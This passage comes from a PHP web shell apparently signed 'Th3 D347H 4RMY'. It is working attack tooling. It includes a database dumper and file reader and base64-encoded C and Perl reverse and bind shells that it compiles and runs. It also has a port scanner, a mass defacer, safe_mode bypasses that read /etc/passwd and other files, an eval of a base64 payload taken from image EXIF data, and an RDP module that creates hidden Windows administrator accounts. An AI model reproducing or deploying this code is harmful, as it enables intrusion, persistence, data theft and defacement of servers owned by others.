2327 break;
2328 case 'pgsql':
2329 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
2330 break;
2331 }
2332 return false;
2333 }
2334 function error() {
2335 switch($this->type) {
2336 case 'mysql':
2337 return @mysql_error($this->link);
2338 break;
2339 case 'pgsql':
2340 return @pg_last_error($this->link);
2341 break;
2342 }
2343 return false;
2344 }
2345 function setCharset($str) {
2346 switch($this->type) {
2347 case 'mysql':
2348 if(function_exists('mysql_set_charset'))
2349 return @mysql_set_charset($str, $this->link);
2350 else
2351 $this->query('SET CHARSET '.$str);
2352 break;
2353 case 'mysql':
2354 return @pg_set_client_encoding($this->link, $str);
2355 break;
2356 }
2357 return false;
2358 }
2359 function dump($table) {
2360 switch($this->type) {
2361 case 'mysql':
2362 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2363 $create = mysql_fetch_array($res);
2364 echo $create[1].";\n\n";
2365 $this->query('SELECT * FROM `'.$table.'`');
2366 while($item = $this->fetch()) {
2367 $columns = array();
2368 foreach($item as $k=>$v) {
2369 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2370 $columns[] = "`".$k."`";
2371 }
2372 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2373 }
2374 break;
2375 case 'pgsql':
2376 $this->query('SELECT * FROM '.$table);
2377 while($item = $this->fetch()) {
2378 $columns = array();
2379 foreach($item as $k=>$v) {
2380 $item[$k] = "'".addslashes($v)."'";
2381 $columns[] = $k;
2382 }
2383 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2384 }
2385 break;
2386 }
2387 return false;
2388 }
2389 };
2390 $db = new DbClass(@$_POST['type']);
2391 if(@$_POST['p2']=='download') {
2392 ob_start("ob_gzhandler", 4096);
2393 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2394 $db->selectdb($_POST['sql_base']);
2395 header("Content-Disposition: attachment; filename=dump.sql");
2396 header("Content-Type: text/plain");
2397 foreach($_POST['tbl'] as $v)
2398 $db->dump($v);
2399 exit;
2400 }
2401 printHeader();
2402 echo '<h1>Sql browser</h1><div class=content>
2403 <form name="sf" method="post">
2404 <table cellpadding="2" cellspacing="0">
2405 <tr>
2406 <td>Type</td>
2407 <td>Host</td>
2408 <td>Login</td>
2409 <td>Password</td>
2410 <td>Database</td>
2411 <td></td>
2412 </tr>
2413 <tr>
2414 <input type=hidden name=a value=Sql>
2415 <input type=hidden name=p1 value=\'query\'>
2416 <input type=hidden name=p2>
2417 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
2418 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2419 <td>
2420 <select name=\'type\'>
2421 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
2422 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
2423 </select></td>
2424 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
2425 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
2426 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
2427 <td>';
2428 $tmp = "<input type=text name=sql_base value=''>";
2429 if(isset($_POST['sql_host'])){
2430 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2431 switch($_POST['charset']) {
2432 case "Windows-1251": $db->setCharset('cp1251'); break;
2433 case "UTF-8": $db->setCharset('utf8'); break;
2434 case "KOI8-R": $db->setCharset('koi8r'); break;
2435 case "KOI8-U": $db->setCharset('koi8u'); break;
2436 case "cp866": $db->setCharset('cp866'); break;
2437 }
2438 $db->listDbs();
2439 echo "<select name=sql_base><option value=''></option>";
2440 while($item = $db->fetch()) {
2441 list($key, $value) = each($item);
2442 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2443 }
2444 echo '</select>';
2445 }
2446 else echo $tmp;
2447 }else
2448 echo $tmp;
2449 echo '</td>
2450 <td><input type=submit value="Submit"></td>
2451 </tr>
2452 </table>
2453 <script>
2454 function st(t,l) {
2455 document.sf.p1.value = \'select\';
2456 document.sf.p2.value = t;
2457 if(l!=null)document.sf.p3.value = l;
2458 document.sf.submit();
2459 }
2460 function is() {
2461 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
2462 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
2463 }
2464 </script>';
2465 if(isset($db) && $db->link){
2466 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2467 if(!empty($_POST['sql_base'])){
2468 $db->selectdb($_POST['sql_base']);
2469 echo "<tr><td width=1 style='border-top:1px #56A3E9;border-right:2px #56A3E9;'><span>Tables:</span><br><br>";
2470 $tbls_res = $db->listTables();
2471 while($item = $db->fetch($tbls_res)) {
2472 list($key, $value) = each($item);
2473 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2474 $value = htmlspecialchars($value);
2475 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
2476 }
2477 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px #56A3E9;'>";
2478 if(@$_POST['p1'] == 'select') {
2479 $_POST['p1'] = 'query';
2480 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
2481 $num = $db->fetch();
2482 $num = $num['n'];
2483 echo "<span>".$_POST['p2']."</span> ($num) ";
2484 for($i=0;$i<($num/30);$i++)
2485 if($i != (int)$_POST['p3'])
2486 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
2487 else
2488 echo ($i+1)," ";
2489 if($_POST['type']=='pgsql')
2490 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2491 else
2492 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2493 echo "<br><br>";
2494 }
2495 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
2496 $db->query(@$_POST['p3']);
2497 if($db->res !== false) {
2498 $title = false;
2499 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
2500 $line = 1;
2501 while($item = $db->fetch()) {
2502 if(!$title) {
2503 echo '<tr>';
2504 foreach($item as $key => $value)
2505 echo '<th>'.$key.'</th>';
2506 reset($item);
2507 $title=true;
2508 echo '</tr><tr>';
2509 $line = 2;
2510 }
2511 echo '<tr class="l'.$line.'">';
2512 $line = $line==1?2:1;
2513 foreach($item as $key => $value) {
2514 if($value == null)
2515 echo '<td><i>null</i></td>';
2516 else
2517 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2518 }
2519 echo '</tr>';
2520 }
2521 echo '</table>';
2522 } else {
2523 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2524 }
2525 }
2526 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
2527 echo "</td></tr>";
2528 }
2529 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='Submit'></form>";
2530 if(@$_POST['p1'] == 'loadfile') {
2531 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
2532 $file = $db->fetch();
2533 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2534 }
2535 }
2536 echo '</div>';
2537 printFooter();
2538}
2539function actionNetwork() {
2540 printHeader();
2541 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
2542 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2543 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
2544 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2545 echo '<h1>Network tools</h1><div class=content>
2546 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
2547 <br /><span>Bind port to /bin/sh</span><br/>
2548 Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value="Submit">
2549 </form>
2550 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
2551 <br /><br /><span>Back-connect to</span><br/>
2552 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value="Submit">
2553 </form><br>';
2554 if(isset($_POST['p1'])) {
2555 function cf($f,$t) {
2556 $w=@fopen($f,"w") or @function_exists('file_put_contents');
2557 if($w) {
2558 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
2559 @fclose($w);
2560 }
2561 }
2562 if($_POST['p1'] == 'bpc') {
2563 cf("/tmp/bp.c",$bind_port_c);
2564 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
2565 @unlink("/tmp/bp.c");
2566 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
2567 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
2568 }
2569 if($_POST['p1'] == 'bpp') {
2570 cf("/tmp/bp.pl",$bind_port_p);
2571 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
2572 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
2573 }
2574 if($_POST['p1'] == 'bcc') {
2575 cf("/tmp/bc.c",$back_connect_c);
2576 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
2577 @unlink("/tmp/bc.c");
2578 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
2579 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
2580 }
2581 if($_POST['p1'] == 'bcp') {
2582 cf("/tmp/bc.pl",$back_connect_p);
2583 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
2584 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
2585 }
2586 }
2587 echo '</div>';
2588 printFooter();
2589}
2590function actionPortScanner() {
2591 printHeader();
2592 echo '<h1>Port Scanner</h1>';
2593 echo '<div class="content">';
2594 echo '<form action="" method="post">';
2595 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
2596 $start = strip_tags($_POST['start']);
2597 $end = strip_tags($_POST['end']);
2598 $host = strip_tags($_POST['host']);
2599 for($i = $start; $i<=$end; $i++){
2600 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
2601 if($fp){
2602 echo 'Port '.$i.' is <font color=lime>open</font><br>';
2603 }
2604 flush();
2605 }
2606 } else {
2607 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
2608 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2609 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2610 Host: <input type="text" name="host" value="localhost"/><br /><br />
2611 Port start: <input type="text" name="start" value="0"/><br /><br />
2612 Port end:<input type="text" name="end" value="5000"/><br /><br />
2613 <input type="submit" value="Scan Ports" />
2614 </form></center><br /><br />';
2615 }
2616 echo '</div>';
2617 printFooter();
2618}
2619 function actionDomain() {
2620 printHeader();
2621 echo '<center> <h1>local domain viewer</h1><div class=content></center>';
2622 $file = @implode(@file("/etc/named.conf"));
2623 if (!$file) {
2624 die("# can't ReaD -> [ /etc/named.conf ]");
2625 }
2626 preg_match_all("#named/(.*?).db#", $file, $r);
2627 $domains = array_unique($r[1]);
2628 check();
2629 if(isset($_GET['ShowAll']))
2630 {
2631 echo "<table align=center border=1 width=59% cellpadding=5>
2632<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
2633<tr><td>Domain</td><td>User</td></tr>";
2634 foreach ($domains as $domain) {
2635 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2636 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2637 }
2638 echo "</table>";
2639 }
2640 echo '</div>';
2641 printFooter();
2642 }
2643
2644function actionDeface() {
2645 printHeader();
2646 echo "<h1>Simple Mass Defacer</h1><div class=content>";
2647?>
2648<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
2649<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
2650<br>file name : <input type=text name=file size=20 value="index.htm">
2651<br>Text Content : <input type=text name=Contents size=20 value="Hacked by Th3 D347H 4RMY ">
2652<br><input type=submit value="Update The Shit"></p></form>
2653
2654<?php
2655 if ($_POST['a'] == 'Deface') {
2656 $mainpath = $_POST[p1];
2657 $file = $_POST[p2];
2658 $txtContents = $_POST[p3];
2659 echo "-----------------------------------------------<br>
2660[+] Simple Mass defacer<br>
2661-----------------------------------------------<br><br> ";
2662 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
2663 while ($row = readdir($dir)) {
2664 $start = @fopen("$row/$file", "w+");
2665 $code = $txtContents;
2666 $finish = @fwrite($start, $code);
2667 if ($finish) {
2668 echo "http://$row/$file<br>";
2669 }
2670 }
2671 echo "-----------------------------------------------<br><br>[+] Script by Th3 D347H 4RMY [+]";
2672 }
2673 echo '</div>';
2674 printFooter();
2675 }
2676
2677
2678 function actionDefacer() {
2679
2680 $temp='';
2681 ob_start();
2682 switch($_POST['p1']) {
2683 case 1:
2684 $temp=@tempnam($test, 'cx');
2685 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
2686 echo @file_get_contents($temp);
2687 unlink($temp);
2688 } else
2689 echo 'Sorry... Can\'t open file';
2690 break;
2691 case 2:
2692 $files = glob($_POST['p2'].'*');
2693 if( is_array($files) )
2694 foreach ($files as $filename)
2695 echo $filename."\n";
2696 break;
2697 case 3:
2698 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
2699 curl_exec($ch);
2700 break;
2701 case 4:
2702 ini_restore("safe_mode");
2703 ini_restore("open_basedir");
2704 include($_POST['p2']);
2705 break;
2706 case 5:
2707 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
2708 $uid = @posix_getpwuid($_POST['p2']);
2709 if ($uid)
2710 echo join(':',$uid)."\n";
2711 }
2712 break;
2713 case 6:
2714 if(!function_exists('imap_open'))break;
2715 $stream = imap_open($_POST['p2'], "", "");
2716 if ($stream == FALSE)
2717 break;
2718 echo imap_body($stream, 1);
2719 imap_close($stream);
2720 break;
2721 }
2722 $temp = ob_get_clean();
2723 printHeader();
2724 echo '<h1>Safe mode bypass</h1><div class=content>';
2725 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
2726 if($temp)
2727 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
2728 echo '</div>';
2729 printFooter();
2730}
2731function actionrdp() {
2732 printHeader();
2733
2734error_reporting(0);
2735$local_host= shell_exec(hostname);
2736$server_ip = $_SERVER['SERVER_NAME'];
2737$gaya_root = "$local_host:~ ";
2738$phpv = @phpversion();
2739$o = "<br>";
2740
2741$BASED = exif_read_data(" image here ");
2742eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
2743if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
2744 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2745 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Be Used</span><br>';
2746} else {
2747 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2748 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Not Be Used</span><br>';
2749}
2750?><!DOCTYPE html>
2751<html>
2752<head>
2753 <title>Th3 D347H 4RMY</title>
2754 <link rel='shortcut icon' type='image/x-icon' href='' />
2755 <meta name="description" content="Th3 D347H 4RMY">
2756 <meta name="viewport" content="width=device-width, initial-scale=1">
2757 <style type="text/css">
2758 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(" "); background-color: #000000; background-size: 100%; background-position: center; background-repeat: no-repeat; color: #FFFFFF; font-family: "Orbitron"; font-size: 14pt; text-align: center; text-decoration: none; } #greets { width: 820px; border-style: outset; } #footer { font-size: 9pt; opacity: .7; } .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; } .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" } .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
2759
2760 <style type="text/css">
2761 /* Circle Text Styles */
2762 #outerCircleText {
2763 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
2764 font-style: italic;
2765 font-weight: bold;
2766 font-family: "comic sans ms", verdana, arial;
2767 color: #FFF;
2768 /* End Optional */
2769
2770 /* Start Required - Do Not Edit */
2771 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
2772 #outerCircleText div {position: relative;}
2773 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
2774 /* End Required */
2775 /* End Circle Text Styles */
2776 </style>
2777</head>
2778<body>
2779<div id="content-center">
2780<pre>
2781
2782
2783
2784 Th3 D347H 4RMY | <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size:="" 40pt;"="">World</span><span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 10px" "font-size:="" 40pt;"="">Fear</span><span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">US!</span>
2785 OS Server : <?php echo php_uname("s")." | "; echo "{".$status_os."}<br>";?>
2786 Informasi : <?php echo "Server IP - ".$server_ip." {".$_SERVER['REMOTE_ADDR']."}";?>
2787 Info Tool : <?php echo $status_work;?>
2788
2789
2790 </pre>
2791</div>
2792<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
2793<span style="font-size: 25px;"><b>
2794<span style="color:White;font-family:Iceland;text-shadow:orange 0px 0px 5px" "font-size:="" 20pt;"="">Powered by</span><span style="color:White;font-family:Iceland;text-shadow:white 0px 0px 5px" "font-size:="" 20pt;"=""> Th3 D347H </span> <span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 5px" "font-size:="" 20pt;"=""> 4RMY</span>
2795<div id="content-left">
2796<p>Create Remote Desktop Protocol </p>
2797<form action="" method="post">Username : <input type="text" name="username" required>
2798 Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value="Make">
2799</form>
2800</div>
2801
2802
2803<div id="content-left">
2804<p> Option </p>
2805<form action="" method="post">command : <input type="text" name="username" placeholder="Input Username"> <select name="aksi">
2806 <option value="1">Show Username</option>
2807 <option value="2">Clear Username</option>
2808 <option value="3">Change Password</option>
2809 </select>
2810<input type="hidden" name="kshell" value="2">
2811<input type="submit" name="submit" value="Submit"></form>
2812</div>
2813<?php }
2814?>
2815<?php
2816if($_POST['submit']){
2817echo "<p>---------------{ INFO }---------------</p>";
2818if($_POST['kshell']=="1"){
2819 $r_user = $_POST['username'];
2820 $r_pass = $_POST['password'];
2821 $cmd_cek_user = shell_exec("net user");
2822 if(preg_match("/$r_user/", $cmd_cek_user)){
2823 echo $gaya_root.$r_user." already There".$o;
2824 }else {
2825 $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
2826 $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
2827 $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
2828 $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
2829
2830 if($cmd_add_user){
2831 echo $gaya_root."[add user]-> ".$r_user." <font color='greenyellow'>Successfully</font>".$o;
2832 }else {
2833 echo $gaya_root."[add user]-> ".$r_user." <font color='red'>Faild</font>".$o;
2834 }
2835 if($cmd_add_groups1){
2836 echo $gaya_root."[add localgroup Administrators]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2837 }else
2838 if($cmd_add_groups2){
2839 echo $gaya_root."[add localgroup Administrator]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2840 }else
2841 if($cmd_add_groups3){
2842 echo $gaya_root."[add localgroup Administrateur]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2843 }else {
2844 echo $gaya_root."[add localgroup]-> ".$r_user." <font color='red'>Faild - Contact Th3 D347H 4RMY</font>".$o;
2845 }
2846 echo $gaya_root."[INFO PC]-> RDP IP ".$_SERVER["HTTP_HOST"]." Username : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Succeed</font>".$o;
2847
2848 }
2849
2850
2851
2852}else if($_POST['kshell']=="2"){
2853
2854if($_POST['aksi']=="1"){
2855 echo "<pre>".shell_exec("net user");
2856}
2857else if($_POST['aksi']=="2"){
2858$username = $_POST['username'];
2859$cmd_cek_user = shell_exec("net user");
2860 if (!empty($username)){
2861 if(preg_match("/$username/", $cmd_cek_user)){
2862 $cmd_add_user = shell_exec("net user ".$username." /DELETE");
2863 if($cmd_add_user){
2864 echo $gaya_root."[remove user]-> ".$username." <font color='greenyellow'>Succeed</font>".$o;
2865 }else {
2866 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Faild</font>".$o;
2867 }
2868 }else {
2869 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Not Found</font>".$o;
2870 }
2871 }else {
2872 echo $gaya_root."[Message]=> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
2873 }
2874}
2875else if($_POST['aksi']=="3"){
2876$username = $_POST['username'];
